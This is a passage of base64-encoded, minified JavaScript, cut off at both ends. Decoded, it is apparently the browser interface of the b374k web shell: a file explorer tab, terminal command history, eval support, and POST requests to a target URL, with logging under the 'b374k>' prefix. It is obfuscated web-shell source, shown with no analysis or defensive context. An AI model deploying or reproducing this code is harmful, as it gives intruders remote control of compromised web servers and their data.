jLm9uY2xpY2s9cH19fX0sajpmdW5jdGlvbihhLGIpe3NvcnRmbj1zb3J0dGFibGUubDtmb3IodmFyIGM9MDtjPGEudEJvZGllc1swXS5yb3dzLmxlbmd0aDtjKyspaWYodGV4dD1zb3J0dGFibGUuZChhLnRCb2RpZXNbMF0ucm93c1tjXS5jZWxsc1tiXSksIiIhPXRleHQpe2lmKHRleHQubWF0Y2goL14tP1tcdTAwYTMkXHUwMGE0XT9bXGQsLl0rJT8kLykpcmV0dXJuIHNvcnR0YWJsZS5uO2lmKHBvc3NkYXRlPXRleHQubWF0Y2goc29ydHRhYmxlLmEpKXtmaXJzdD1wYXJzZUludChwb3NzZGF0ZVsxXSk7c2Vjb25kPXBhcnNlSW50KHBvc3NkYXRlWzJdKTtpZigxMjxmaXJzdClyZXR1cm4gc29ydHRhYmxlLmc7aWYoMTI8c2Vjb25kKXJldHVybiBzb3J0dGFibGUubTtzb3J0Zm49c29ydHRhYmxlLmd9fXJldHVybiBzb3J0Zm59LGQ6ZnVuY3Rpb24oYSl7aWYoIWEpcmV0dXJuIiI7aGFzSW5wdXRzPSJmdW5jdGlvbiI9PXR5cGVvZiBhLmdldEVsZW1lbnRzQnlUYWdOYW1lJiZhLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpLmxlbmd0aDtpZigiIiE9YS50aXRsZSlyZXR1cm4gYS50aXRsZTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEudGV4dENvbnRlbnQmJiFoYXNJbnB1dHMpcmV0dXJuIGEudGV4dENvbnRlbnQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgYS5pbm5lclRleHQmJiFoYXNJbnB1dHMpcmV0dXJuIGEuaW5uZXJUZXh0LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtpZigidW5kZWZpbmVkIiE9dHlwZW9mIGEudGV4dCYmIWhhc0lucHV0cylyZXR1cm4gYS50ZXh0LnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtzd2l0Y2goYS5ub2RlVHlwZSl7Y2FzZSAzOmlmKCJpbnB1dCI9PWEubm9kZU5hbWUudG9Mb3dlckNhc2UoKSlyZXR1cm4gYS52YWx1ZS5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7Y2FzZSA0OnJldHVybiBhLm5vZGVWYWx1ZS5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7Y2FzZSAxOmNhc2UgMTE6Zm9yKHZhciBiPSIiLGM9MDtjPGEuY2hpbGROb2Rlcy5sZW5ndGg7YysrKWIrPXNvcnR0YWJsZS5kKGEuY2hpbGROb2Rlc1tjXSk7cmV0dXJuIGIucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2RlZmF1bHQ6cmV0dXJuIiJ9fSxyZXZlcnNlOmZ1bmN0aW9uKGEpe25ld3Jvd3M9W107Zm9yKHZhciBiPTA7YjxhLnJvd3MubGVuZ3RoO2IrKyluZXdyb3dzW25ld3Jvd3MubGVuZ3RoXT1hLnJvd3NbYl07Zm9yKGI9bmV3cm93cy5sZW5ndGgtMTswPD1iO2ItLSlhLmFwcGVuZENoaWxkKG5ld3Jvd3NbYl0pO2RlbGV0ZSBuZXdyb3dzfSxuOmZ1bmN0aW9uKGEsYil7YWE9cGFyc2VGbG9hdChhWzBdLnJlcGxhY2UoL1teMC05Li1dL2csIiIpKTtpc05hTihhYSkmJihhYT0wKTtiYj1wYXJzZUZsb2F0KGJbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGJiKSYmKGJiPTApO3JldHVybiBhYS1iYn0sbDpmdW5jdGlvbihhLGIpe3JldHVybiBhWzBdLnRvTG93ZXJDYXNlKCk9PWJbMF0udG9Mb3dlckNhc2UoKT8wOmFbMF0udG9Mb3dlckNhc2UoKTxiWzBdLnRvTG93ZXJDYXNlKCk/LTE6MX0sZzpmdW5jdGlvbihhLGIpe210Y2g9YVswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0MT15K20rZDttdGNoPWJbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTttPW10Y2hbMl07ZD1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDI9eSttK2Q7cmV0dXJuIGR0MT09ZHQyPzA6ZHQxPGR0Mj8tMToxfSxtOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO2Q9bXRjaFsyXTttPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0Mj15K20rZDtyZXR1cm4gZHQxPT1kdDI/MDpkdDE8ZHQyPy0xOjF9LHI6ZnVuY3Rpb24oYSxiKXtmb3IodmFyIGM9MCxlPWEubGVuZ3RoLTEsZz1oO2c7KXtmb3IodmFyIGc9aixmPWM7ZjxlOysrZikwPGIoYVtmXSxhW2YrMV0pJiYoZz1hW2ZdLGFbZl09YVtmKzFdLGFbZisxXT1nLGc9aCk7ZS0tO2lmKCFnKWJyZWFrO2ZvcihmPWU7Zj5jOy0tZikwPmIoYVtmXSxhW2YtMV0pJiYoZz1hW2ZdLGFbZl09YVtmLTFdLGFbZi0xXT1nLGc9aCk7YysrfX19O2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXImJmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLHNvcnR0YWJsZS5lLGopO2lmKC9XZWJLaXQvaS50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKXZhciBrPXNldEludGVydmFsKGZ1bmN0aW9uKCl7L2xvYWRlZHxjb21wbGV0ZS8udGVzdChkb2N1bWVudC5yZWFkeVN0YXRlKSYmc29ydHRhYmxlLmUoKX0sMTApO3dpbmRvdy5vbmxvYWQ9c29ydHRhYmxlLmU7dmFyIG49MTtmdW5jdGlvbiBwKGEpe3ZhciBiPWg7YXx8KGE9KCh0aGlzLm93bmVyRG9jdW1lbnR8fHRoaXMuZG9jdW1lbnR8fHRoaXMpLnBhcmVudFdpbmRvd3x8d2luZG93KS5ldmVudCxhLnByZXZlbnREZWZhdWx0PXEsYS5zdG9wUHJvcGFnYXRpb249cik7dmFyIGM9dGhpcy5iW2EudHlwZV0sZTtmb3IoZSBpbiBjKXRoaXMuaD1jW2VdLHRoaXMuaChhKT09PWomJihiPWopO3JldHVybiBifWZ1bmN0aW9uIHEoKXt0aGlzLnJldHVyblZhbHVlPWp9ZnVuY3Rpb24gcigpe3RoaXMuY2FuY2VsQnViYmxlPWh9QXJyYXkuZm9yRWFjaHx8KEFycmF5LmZvckVhY2g9ZnVuY3Rpb24oYSxiLGMpe2Zvcih2YXIgZT0wO2U8YS5sZW5ndGg7ZSsrKWIuY2FsbChjLGFbZV0sZSxhKX0pO0Z1bmN0aW9uLnByb3RvdHlwZS5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtmb3IodmFyIGUgaW4gYSkidW5kZWZpbmVkIj09dHlwZW9mIHRoaXMucHJvdG90eXBlW2VdJiZiLmNhbGwoYyxhW2VdLGUsYSl9O1N0cmluZy5mb3JFYWNoPWZ1bmN0aW9uKGEsYixjKXtBcnJheS5mb3JFYWNoKGEuc3BsaXQoIiIpLGZ1bmN0aW9uKGUsZyl7Yi5jYWxsKGMsZSxnLGEpfSl9O2Z1bmN0aW9uIGwoYSxiKXtpZihhKXt2YXIgYz1PYmplY3Q7aWYoYSBpbnN0YW5jZW9mIEZ1bmN0aW9uKWM9RnVuY3Rpb247ZWxzZXtpZihhLmZvckVhY2ggaW5zdGFuY2VvZiBGdW5jdGlvbil7YS5mb3JFYWNoKGIsdm9pZCAwKTtyZXR1cm59InN0cmluZyI9PXR5cGVvZiBhP2M9U3RyaW5nOiJudW1iZXIiPT10eXBlb2YgYS5sZW5ndGgmJihjPUFycmF5KX1jLmZvckVhY2goYSxiLHZvaWQgMCl9fTt2YXIgbG9hZGluZ19jb3VudD0wO3ZhciBydW5uaW5nPWZhbHNlO3ZhciBkZWZhdWx0VGFiPSdleHBsb3Jlcic7dmFyIGN1cnJlbnRUYWI9JCgnIycrZGVmYXVsdFRhYik7dmFyIHRhYlNjcm9sbD1uZXcgT2JqZWN0O3ZhciBvbkRyYWc9ZmFsc2U7dmFyIG9uU2Nyb2xsPWZhbHNlO3ZhciBzY3JvbGxEZWx0YT0xO3ZhciBzY3JvbGxDb3VudGVyPTA7dmFyIHNjcm9sbFNwZWVkPTYwO3ZhciBzY3JvbGxUaW1lcj0nJzt2YXIgZHJhZ1g9Jyc7dmFyIGRyYWdZPScnO3ZhciBkcmFnRGVsdGFYPScnO3ZhciBkcmFnRGVsdGFZPScnO3ZhciBlZGl0U3VjY2Vzcz0nJzt2YXIgdGVybWluYWxIaXN0b3J5PW5ldyBBcnJheSgpO3ZhciB0ZXJtaW5hbEhpc3RvcnlQb3M9MDt2YXIgZXZhbFN1cHBvcnRlZD0iIjt2YXIgZXZhbFJlYWR5PWZhbHNlO3ZhciByZXNpemVUaW1lcj0nJzt2YXIgcG9ydGFibGVXaWR0aD03MDA7dmFyIHBvcnRhYmxlTW9kZT1udWxsO1plcHRvKGZ1bmN0aW9uKCQpe2lmKGluaXRfc2hlbGwpe3ZhciBub3c9bmV3IERhdGUoKTtvdXRwdXQoInN0YXJ0ZWQgQCAiK25vdy50b0dNVFN0cmluZygpKTtvdXRwdXQoImN3ZCA6ICIrZ2V0X2N3ZCgpKTtvdXRwdXQoIm1vZHVsZSA6ICIrbW9kdWxlX3RvX2xvYWQpO3Nob3dfdGFiKCk7eHBsX2JpbmQoKTtldmFsX2luaXQoKTt3aW5kb3dfcmVzaXplKCk7eHBsX3VwZGF0ZV9zdGF0dXMoKTskKHdpbmRvdykub24oJ3Jlc2l6ZScsZnVuY3Rpb24oZSl7Y2xlYXJUaW1lb3V0KHJlc2l6ZVRpbWVyKTtyZXNpemVUaW1lcj1zZXRUaW1lb3V0KCJ3aW5kb3dfcmVzaXplKCkiLDEwMDApfSk7JCgnLm1lbnVpdGVtJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXtzZWxlY3RlZFRhYj0kKHRoaXMpLmF0dHIoJ2hyZWYnKS5zdWJzdHIoMik7c2hvd190YWIoc2VsZWN0ZWRUYWIpfSk7JCgnI2xvZ291dCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7dmFyIGNvb2tpZT1kb2N1bWVudC5jb29raWUuc3BsaXQoJzsnKTtmb3IodmFyIGk9MDtpPGNvb2tpZS5sZW5ndGg7aSsrKXt2YXIgZW50cmllcz1jb29raWVbaV0sZW50cnk9ZW50cmllcy5zcGxpdCgiPSIpLG5hbWU9ZW50cnlbMF07ZG9jdW1lbnQuY29va2llPW5hbWUrIj0nJzsgZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAxIEdNVDsgcGF0aD0vIn1sb2NhbFN0b3JhZ2UuY2xlYXIoKTtsb2NhdGlvbi5ocmVmPXRhcmdldHVybH0pOyQoJyN0b3RvcCcpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7JCh3aW5kb3cpLnNjcm9sbFRvcCgwKX0pOyQoJyN0b3RvcCcpLm9uKCdtb3VzZW92ZXInLGZ1bmN0aW9uKGUpe29uU2Nyb2xsPXRydWU7Y2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTtzdGFydF9zY3JvbGwoJ3RvcCcpfSk7JCgnI3RvdG9wJykub24oJ21vdXNlb3V0JyxmdW5jdGlvbihlKXtvblNjcm9sbD1mYWxzZTtzY3JvbGxDb3VudGVyPTB9KTskKCcjdG9ib3R0b20nKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpeyQod2luZG93KS5zY3JvbGxUb3AoJChkb2N1bWVudCkuaGVpZ2h0KCktJCh3aW5kb3cpLmhlaWdodCgpKX0pOyQoJyN0b2JvdHRvbScpLm9uKCdtb3VzZW92ZXInLGZ1bmN0aW9uKGUpe29uU2Nyb2xsPXRydWU7Y2xlYXJUaW1lb3V0KHNjcm9sbFRpbWVyKTtzdGFydF9zY3JvbGwoJ2JvdHRvbScpfSk7JCgnI3RvYm90dG9tJykub24oJ21vdXNlb3V0JyxmdW5jdGlvbihlKXtvblNjcm9sbD1mYWxzZTtzY3JvbGxDb3VudGVyPTB9KTskKCcjYmFzaWNJbmZvJykub24oJ21vdXNlZW50ZXInLGZ1bmN0aW9uKGUpeyQoJyN0b2dnbGVCYXNpY0luZm8nKS5zaG93KCl9KTskKCcjYmFzaWNJbmZvJykub24oJ21vdXNlbGVhdmUnLGZ1bmN0aW9uKGUpeyQoJyN0b2dnbGVCYXNpY0luZm8nKS5oaWRlKCl9KTskKCcjdG9nZ2xlQmFzaWNJbmZvJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXskKCcjYmFzaWNJbmZvJykuaGlkZSgpOyQoJyNzaG93aW5mbycpLnNob3coKTskKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpO2xvY2FsU3RvcmFnZS5zZXRJdGVtKCdpbmZvQmFyU2hvd24nLCdoaWRkZW4nKX0pOyQoJyNzaG93aW5mbycpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7JCgnI2Jhc2ljSW5mbycpLnNob3coKTskKCcjc2hvd2luZm8nKS5oaWRlKCk7bG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2luZm9CYXJTaG93bicsJ3Nob3duJyl9KTtpZigoaW5mb0JhclNob3duPWxvY2FsU3RvcmFnZS5nZXRJdGVtKCdpbmZvQmFyU2hvd24nKSkpe2lmKGluZm9CYXJTaG93bj09J3Nob3duJyl7JCgnI2Jhc2ljSW5mbycpLnNob3coKTskKCcjc2hvd2luZm8nKS5oaWRlKCl9ZWxzZXskKCcjYmFzaWNJbmZvJykuaGlkZSgpOyQoJyNzaG93aW5mbycpLnNob3coKTskKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpfX1lbHNle2luZm9fcmVmcmVzaCgpfWlmKGhpc3RvcnkucHVzaFN0YXRlKXt3aW5kb3cub25wb3BzdGF0ZT1mdW5jdGlvbihldmVudCl7cmVmcmVzaF90YWIoKX19ZWxzZXt3aW5kb3cuaGlzdG9yeUV2ZW50PWZ1bmN0aW9uKGV2ZW50KXtyZWZyZXNoX3RhYigpfX19fSk7ZnVuY3Rpb24gb3V0cHV0KHN0cil7Y29uc29sZS5sb2coJ2IzNzRrPiAnK3N0cil9ZnVuY3Rpb24gd2luZG93X3Jlc2l6ZSgpe2JvZHlXaWR0aD0kKCdib2R5Jykud2lkdGgoKTtpZihib2R5V2lkdGg8PXBvcnRhYmxlV2lkdGgpe2xheW91dF9wb3J0YWJsZSgpfWVsc2V7bGF5b3V0X25vcm1hbCgpfX1mdW5jdGlvbiBsYXlvdXRfcG9ydGFibGUoKXtuYXY9JCgnI25hdicpO21lbnU9JCgnI21lbnUnKTtoZWFkZXJOYXY9JCgnI2hlYWRlck5hdicpO2NvbnRlbnQ9JCgnI2NvbnRlbnQnKTtuYXYucHJlcGVuZFRvKCcjY29udGVudCcpO25hdi5jc3MoJ3BhZGRpbmcnLCc1cHggOHB4Jyk7bmF2LmNzcygnbWFyZ2luLXRvcCcsJzhweCcpO25hdi5jc3MoJ2Rpc3BsYXknLCdibG9jaycpO25hdi5hZGRDbGFzcygnYm9yZGVyJyk7bWVudS5jaGlsZHJlbigpLmNzcygnd2lkdGgnLCcxMDAlJyk7bWVudS5oaWRlKCk7JCgnI21lbnVCdXR0b24nKS5yZW1vdmUoKTtoZWFkZXJOYXYucHJlcGVuZCgiPGRpdiBpZD0nbWVudUJ1dHRvbicgY2xhc3M9J2JveHRpdGxlJyBvbmNsaWNrPVwiJCgnI21lbnUnKS50b2dnbGUoKTtcIiBzdHlsZT0nZmxvYXQtbGVmdDtkaXNwbGF5OmlubGluZTtwYWRkaW5nOjRweCA4cHg7bWFyZ2luLXJpZ2h0OjhweDsnPm1lbnU8L2Rpdj4iKTttZW51LmF0dHIoJ29uY2xpY2snLCJcJCgnI21lbnUnKS5oaWRlKCk7Iik7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNCknKS5oaWRlKCk7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNSknKS5oaWRlKCk7aWYoIXdpbil7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNiknKS5oaWRlKCl9dGJsZm9vdD0kKCcjeHBsVGFibGUgdGZvb3QgdGQ6bGFzdC1jaGlsZCcpO2lmKHRibGZvb3RbMF0pdGJsZm9vdFswXS5jb2xTcGFuPTE7aWYodGJsZm9vdFsxXSl0Ymxmb290WzFdLmNvbFNwYW49MjskKCcuYm94JykuY3NzKCd3aWR0aCcsJzEwMCUnKTskKCcuYm94JykuY3NzKCdoZWlnaHQnLCcxMDAlJyk7JCgnLmJveCcpLmNzcygnbGVmdCcsJzBweCcpOyQoJy5ib3gnKS5jc3MoJ3RvcCcsJzBweCcpO3BhZGRpbmdUb3A9JCgnI2hlYWRlcicpLmhlaWdodCgpO2NvbnRlbnQuY3NzKCdwYWRkaW5nLXRvcCcscGFkZGluZ1RvcCsncHgnKTtwb3J0YWJsZU1vZGU9dHJ1ZX1mdW5jdGlvbiBsYXlvdXRfbm9ybWFsKCl7bmF2PSQoJyNuYXYnKTttZW51PSQoJyNtZW51Jyk7Y29udGVudD0kKCcjY29udGVudCcpO25hdi5pbnNlcnRBZnRlcignI2IzNzRrJyk7bmF2LmNzcygncGFkZGluZycsJzAnKTtuYXYuY3NzKCdtYXJnaW4tdG9wJywnMCcpO25hdi5jc3MoJ2Rpc3BsYXknLCdpbmxpbmUnKTtuYXYucmVtb3ZlQ2xhc3MoJ2JvcmRlcicpO21lbnUuY2hpbGRyZW4oKS5jc3MoJ3dpZHRoJywnYXV0bycpO21lbnUuc2hvdygpOyQoJyNtZW51QnV0dG9uJykucmVtb3ZlKCk7bWVudS5hdHRyKCdvbmNsaWNrJywiIik7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNCknKS5zaG93KCk7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNSknKS5zaG93KCk7aWYoIXdpbil7JCgnI3hwbFRhYmxlIHRyPjpudGgtY2hpbGQoNiknKS5zaG93KCk7Y29sc3Bhbj00fWVsc2UgY29sc3Bhbj0zO3RibGZvb3Q9JCgnI3hwbFRhYmxlIHRmb290IHRkOmxhc3QtY2hpbGQnKTtpZih0Ymxmb290WzBdKXRibGZvb3RbMF0uY29sU3Bhbj1jb2xzcGFuO2lmKHRibGZvb3RbMV0pdGJsZm9vdFsxXS5jb2xTcGFuPWNvbHNwYW4rMTtwYWRkaW5nVG9wPSQoJyNoZWFkZXInKS5oZWlnaHQoKTtjb250ZW50LmNzcygncGFkZGluZy10b3AnLHBhZGRpbmdUb3ArJ3B4Jyk7cG9ydGFibGVNb2RlPWZhbHNlfWZ1bmN0aW9uIHN0YXJ0X3Njcm9sbChzdHIpe2lmKHN0cj09J3RvcCcpe3RvPSQod2luZG93KS5zY3JvbGxUb3AoKS1zY3JvbGxDb3VudGVyO3Njcm9sbENvdW50ZXI9c2Nyb2xsRGVsdGErc2Nyb2xsQ291bnRlcjtpZih0bzw9MCl7dG89MDtvblNjcm9sbD1mYWxzZX1lbHNlIGlmKG9uU2Nyb2xsKXtzY3JvbGxUaW1lcj1zZXRUaW1lb3V0KCJzdGFydF9zY3JvbGwoJ3RvcCcpIixzY3JvbGxTcGVlZCk7JCh3aW5kb3cpLnNjcm9sbFRvcCh0byl9fWVsc2UgaWYoc3RyPT0nYm90dG9tJyl7dG89JCh3aW5kb3cpLnNjcm9sbFRvcCgpK3Njcm9sbENvdW50ZXI7c2Nyb2xsQ291bnRlcj1zY3JvbGxEZWx0YStzY3JvbGxDb3VudGVyO2JvdHRvbT0kKGRvY3VtZW50KS5oZWlnaHQoKS0kKHdpbmRvdykuaGVpZ2h0KCk7aWYodG8+PWJvdHRvbSl7dG89Ym90dG9tO29uU2Nyb2xsPWZhbHNlfWVsc2UgaWYob25TY3JvbGwpe3Njcm9sbFRpbWVyPXNldFRpbWVvdXQoInN0YXJ0X3Njcm9sbCgnYm90dG9tJykiLHNjcm9sbFNwZWVkKTskKHdpbmRvdykuc2Nyb2xsVG9wKHRvKX19fWZ1bmN0aW9uIGdldF9jd2QoKXtyZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KGdldF9jb29raWUoJ2N3ZCcpKX1mdW5jdGlvbiBmaXhfdGFiY2hhcihlbCxlKXtpZihlLmtleUNvZGU9PTkpe2UucHJldmVudERlZmF1bHQoKTt2YXIgcz1lbC5zZWxlY3Rpb25TdGFydDtlbC52YWx1ZT1lbC52YWx1ZS5zdWJzdHJpbmcoMCxlbC5zZWxlY3Rpb25TdGFydCkrIlx0IitlbC52YWx1ZS5zdWJzdHJpbmcoZWwuc2VsZWN0aW9uRW5kKTtlbC5zZWxlY3Rpb25FbmQ9cysxfX1mdW5jdGlvbiBnZXRfY29va2llKGtleSl7dmFyIHJlcztyZXR1cm4ocmVzPW5ldyBSZWdFeHAoJyg/Ol58OyApJytlbmNvZGVVUklDb21wb25lbnQoa2V5KSsnPShbXjtdKiknKS5leGVjKGRvY3VtZW50LmNvb2tpZSkpPyhyZXNbMV0pOm51bGx9ZnVuY3Rpb24gc2V0X2Nvb2tpZShrZXksdmFsdWUpe2RvY3VtZW50LmNvb2tpZT1rZXkrJz0nK2VuY29kZVVSSUNvbXBvbmVudCh2YWx1ZSl9ZnVuY3Rpb24gaHRtbF9zYWZlKHN0cil7aWYodHlwZW9mKHN0cik9PSJzdHJpbmciKXtzdHI9c3RyLnJlcGxhY2UoLyYvZywiJmFtcDsiKTtzdHI9c3RyLnJlcGxhY2UoLyIvZywiJnF1b3Q7Iik7c3RyPXN0ci5yZXBsYWNlKC8nL2csIiYjMDM5OyIpO3N0cj1zdHIucmVwbGFjZSgvPC9nLCImbHQ7Iik7c3RyPXN0ci5yZXBsYWNlKC8+L2csIiZndDsiKX1yZXR1cm4gc3RyfWZ1bmN0aW9uIHVjZmlyc3Qoc3RyKXtyZXR1cm4gc3RyLmNoYXJBdCgwKS50b1VwcGVyQ2FzZSgpK3N0ci5zbGljZSgxKX1mdW5jdGlvbiB0aW1lKCl7dmFyIGQ9bmV3IERhdGUoKTtyZXR1cm4gZC5nZXRUaW1lKCl9ZnVuY3Rpb24gc2VuZF9wb3N0KHRhcmdldGRhdGEsY2FsbGJhY2ssbG9hZGluZyl7aWYobG9hZGluZz09bnVsbClsb2FkaW5nX3N0YXJ0KCk7JC5hamF4KHt1cmw6dGFyZ2V0dXJsLHR5cGU6J1BPU1QnLGRhdGE6dGFyZ2V0ZGF0YSxzdWNjZXNzOmZ1bmN0aW9uKHJlcyl7Y2FsbGJhY2socmVzKTtpZihsb2FkaW5nPT1udWxsKWxvYWRpbmdfc3RvcCgpfSxlcnJvcjpmdW5jdGlvbigpe2lmKGxvYWRpbmc9PW51bGwpbG9hZGluZ19zdG9wKCl9fSl9ZnVuY3Rpb24gbG9hZGluZ19zdGFydCgpe2lmKCFydW5uaW5nKXskKCcjb3ZlcmxheScpLnNob3coKTtydW5uaW5nPXRydWU7bG9hZGluZ19sb29wKCl9fWZ1bmN0aW9uIGxvYWRpbmdfbG9vcCgpe2lmKHJ1bm5pbmcpe2ltZz0kKCcjbG9hZGluZycpO2ltZy5jc3MoJ3RyYW5zZm9ybScsJ3JvdGF0ZSgnK2xvYWRpbmdfY291bnQrJ2RlZyknKTtpbWcuY3NzKCctbXMtdHJhbnNmb3JtJywncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpO2ltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywncm90YXRlKCcrbG9hZGluZ19jb3VudCsnZGVnKScpO2xvYWRpbmdfY291bnQrPTc7aWYobG9hZGluZ19jb3VudD4zNjApbG9hZGluZ19jb3VudD0wO2lmKHJ1bm5pbmcpc2V0VGltZW91dCgibG9hZGluZ19sb29wKCkiLDIwKX19ZnVuY3Rpb24gbG9hZGluZ19zdG9wKCl7aWYocnVubmluZyl7aW1nPSQoJyNsb2FkaW5nJyk7aW1nLmNzcygndHJhbnNmb3JtJywncm90YXRlKDBkZWcpJyk7aW1nLmNzcygnLW1zLXRyYW5zZm9ybScsJ3JvdGF0ZSgwZGVnKScpO2ltZy5jc3MoJy13ZWJraXQtdHJhbnNmb3JtJywncm90YXRlKDBkZWcpJyk7JCgnI292ZXJsYXknKS5oaWRlKCk7cnVubmluZz1mYWxzZX19ZnVuY3Rpb24gc2hvd190YWIoaWQpe2lmKCFpZCl7aWYobG9jYXRpb24uaGFzaCE9JycpaWQ9bG9jYXRpb24uaGFzaC5zdWJzdHIoMik7ZWxzZSBpZD1kZWZhdWx0VGFifXJlZnJlc2hfdGFiKGlkKX1mdW5jdGlvbiByZWZyZXNoX3RhYihpZCl7aWYoIWlkKXtpZihsb2NhdGlvbi5oYXNoIT0nJylpZD1sb2NhdGlvbi5oYXNoLnN1YnN0cigyKTtlbHNlIGlkPWRlZmF1bHRUYWJ9JCgnLm1lbnVpdGVtU2VsZWN0ZWQnKS5yZW1vdmVDbGFzcygibWVudWl0ZW1TZWxlY3RlZCIpOyQoJyNtZW51JytpZCkuYWRkQ2xhc3MoIm1lbnVpdGVtU2VsZWN0ZWQiKTt0YWJTY3JvbGxbY3VycmVudFRhYi5hdHRyKCdpZCcpXT0kKHdpbmRvdykuc2Nyb2xsVG9wKCk7Y3VycmVudFRhYi5oaWRlKCk7Y3VycmVudFRhYj0kKCcjJytpZCk7Y3VycmVudFRhYi5zaG93KCk7d2luZG93W2lkXSgpO2lmKHRhYlNjcm9sbFtpZF0peyQod2luZG93KS5zY3JvbGxUb3AodGFiU2Nyb2xsW2lkXSl9aGlkZV9ib3goKX1mdW5jdGlvbiB0cmFwX2VudGVyKGUsY2FsbGJhY2spe2lmKGUua2V5Q29kZT09MTMpe2lmKGNhbGxiYWNrIT1udWxsKXdpbmRvd1tjYWxsYmFja10oKX19ZnVuY3Rpb24gc2hvd19ib3godGl0bGUsY29udGVudCl7b25EcmFnPWZhbHNlO2hpZGVfYm94KCk7Ym94PSI8ZGl2IGNsYXNzPSdib3gnPjxwIGNsYXNzPSdib3h0aXRsZSc+Iit0aXRsZSsiPHNwYW4gY2xhc3M9J2JveGNsb3NlIGZsb2F0UmlnaHQnPng8L3NwYW4+PC9wPjxkaXYgY2xhc3M9J2JveGNvbnRlbnQnPiIrY29udGVudCsiPC9kaXY+PGRpdiBjbGFzcz0nYm94cmVzdWx0Jz48L2Rpdj48L2Rpdj4iOyQoJyNjb250ZW50JykuYXBwZW5kKGJveCk7Ym94X3dpZHRoPSQoJy5ib3gnKS53aWR0aCgpO2JvZHlfd2lkdGg9JCgnYm9keScpLndpZHRoKCk7Ym94X2hlaWdodD0kKCcuYm94JykuaGVpZ2h0KCk7Ym9keV9oZWlnaHQ9JCgnYm9keScpLmhlaWdodCgpO3g9KGJvZHlfd2lkdGgtYm94X3dpZHRoKS8yO3k9KGJvZHlfaGVpZ2h0LWJveF9oZWlnaHQpLzI7aWYoeDwwfHxwb3J0YWJsZU1vZGUpeD0wO2lmKHk8MHx8cG9ydGFibGVNb2RlKXk9MDtpZihwb3J0YWJsZU1vZGUpeyQoJy5ib3gnKS5jc3MoJ3dpZHRoJywnMTAwJScpOyQoJy5ib3gnKS5jc3MoJ2hlaWdodCcsJzEwMCUnKX0kKCcuYm94JykuY3NzKCdsZWZ0Jyx4KydweCcpOyQoJy5ib3gnKS5jc3MoJ3RvcCcseSsncHgnKTskKCcuYm94Y2xvc2UnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe2hpZGVfYm94KCl9KTtpZighcG9ydGFibGVNb2RlKXskKCcuYm94dGl0bGUnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe2lmKCFvbkRyYWcpe2RyYWdEZWx0YVg9ZS5wYWdlWC1wYXJzZUludCgkKCcuYm94JykuY3NzKCdsZWZ0JykpO2RyYWdEZWx0YVk9ZS5wYWdlWS1wYXJzZUludCgkKCcuYm94JykuY3NzKCd0b3AnKSk7ZHJhZ19zdGFydCgpfWVsc2UgZHJhZ19zdG9wKCl9KX0kKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7JChkb2N1bWVudCkub24oJ2tleXVwJyxmdW5jdGlvbihlKXtpZihlLmtleUNvZGU9PTI3KWhpZGVfYm94KCl9KTtpZigkKCcuYm94IGlucHV0JylbMF0pJCgnLmJveCBpbnB1dCcpWzBdLmZvY3VzKCl9ZnVuY3Rpb24gaGlkZV9ib3goKXskKGRvY3VtZW50KS5vZmYoJ2tleXVwJyk7JCgnLmJveCcpLnJlbW92ZSgpfWZ1bmN0aW9uIGRyYWdfc3RhcnQoKXtpZighb25EcmFnKXtvbkRyYWc9dHJ1ZTskKCdib2R5Jykub2ZmKCdtb3VzZW1vdmUnKTskKCdib2R5Jykub24oJ21vdXNlbW92ZScsZnVuY3Rp